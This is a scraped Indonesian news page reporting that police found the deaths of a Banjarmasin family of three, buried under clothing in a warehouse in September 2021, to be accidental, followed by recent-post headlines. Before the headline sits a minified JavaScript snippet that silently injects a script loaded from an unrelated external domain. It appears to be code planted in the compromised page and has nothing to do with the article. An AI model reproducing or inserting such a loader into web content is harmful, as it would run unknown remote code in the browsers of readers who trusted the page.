(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Satu Keluarga Tewas Tertimbun Pakaian di Banjarmasin, Polisi Sebut Murni Kecelakaan


KANALKALIMANTAN,COM, BANJARMASIN – Penyebab kematian satu keluarga di salah satu gudang pakaian di Jalan Ratu Zaleha, Gang KH Dewantara 2, RT 19, Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur Jumat (10/9/2021) murni karena tertimbun tumpukan pakaian.

Kesimpulan itu diperoleh polisi, setelah melakukan pemeriksaan barang bukti dan keterangan sejumlah saksi. Hal tersebut disampaikan, Kapolsek Banjarmasin Timur, AKP Pujie Firmansyah kepada sejumlah awak media, Sabtu (11/9/2021).

“Sudah ada tiga orang saksi yang kita mintai keterangan,” ucap Kapolsek Banjarmasin Timur.
Sedangkan bukti dan petunjuk yang dimaksudnya adalah hasil visum luar terhadap ketiga jasad korban Ahmad Saubari (42), Siti Khadijah (33) dan SF (6) tidak menunjukan adanya tanda-tanda kekerasan, seperti akibat benda tumpul maupun benda tajam.

Masih dari hasil pemeriksaan di lokasi kejadian tidak ditemukan hal mencurigakan. Seperti pemeriksaan lantai dua yang tidak menunjukan adanya bekas kehadiran orang lain, atau kondisi pintu yang terkunci dari dalam saat ketiga korban ditemukan.

 

Baca juga : Dua Pemuda Nekat, Embat 11 Tabung Oksigen di RS Bhayangkara Pontianak

“Saat ketiganya ditemukan, posisi pintu masuk terkunci dari dalam dengan kondisi anak kunci tertancap di lubang. Sehingga saat hendak evakuasi harus didobrak terlebih dahulu,” terangnya.

Terkait kemungkinan dugaan ketiga korban terhisap gas beracun atau hal lain, Kapolsek Banjarmasin Timur tidak berani berkesimpulan, karena hal tersebut hanya bisa dibuktikan dengan adanya hasil otopsi.

Pihak kepolisian menyebut keluarga korban keberatan jika dilakukan proses otopsi. “Keluarga korban keberatan dilakukan otopsi ketiganya. Entah apa alasannya, namun yang jelas mereka keberatan,” pungkasnya.

Sebelumnya warga geger dengan penemuan satu keluarga di Jl Ratu Zaleha, Gang KH Dewantara 2 RT 19, Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur, Jumat (10/9/2021) malam, gemparkan warga sekitar. Apalagi setelah diketahui, salah satu korban adalah seorang anak kecil berusia 6 tahun yang tak lain merupakan anak dari Ahmad Saubari (42) dan Siti Khadijah (33).

Peristiwa ini terungkap, saat anak pemilik gudang pakaian bernama Sari, datang ke lokasi untuk mengecek keberadaan keluarganya. Hal itu dilakukan karena penasaran toko dalam kondisi tertutup.

Lantaran tak menemukan Saubari dan keluarganya, Sari pun lantas mengecek ke gudang toko di Jl Ratu Zalecha.
“Saya cek hingga ke atas tapi tidak ketemu. Baru curiga saat dari lantai bawah tercium bau. Dan ternyata sudah ditemukan meninggal dunia,” terangnya. (kanalkalimantan.com/kk)

Reporter : kk
Editor : kk


Desy Arfianty

Recent Posts

65 Kg Sabu dan 12 Ribu Butir Ekstasi Jaringan Fredy Pratama Dimusnahkan

KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More

8 jam ago

Tunggu Keluarga, Jasad Lelaki Tak Bernyawa Disimpan di Kamar Jenazah RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More

9 jam ago

Kenal Pamit Kapolres Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More

10 jam ago

Tak Beridentitas, Jasad Lelaki Didapati Membiru di Landasan Ulin Tengah

KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More

15 jam ago

Parkir Sembarangan Sekitar Taman Van der Pijl, Siap-siap Kena Derek!

KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More

16 jam ago

Ombudsman Kalsel Terima 235 Aduan di 2024, Ini Sektor Paling Banyak Dilaporkan

KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More

16 jam ago

This website uses cookies.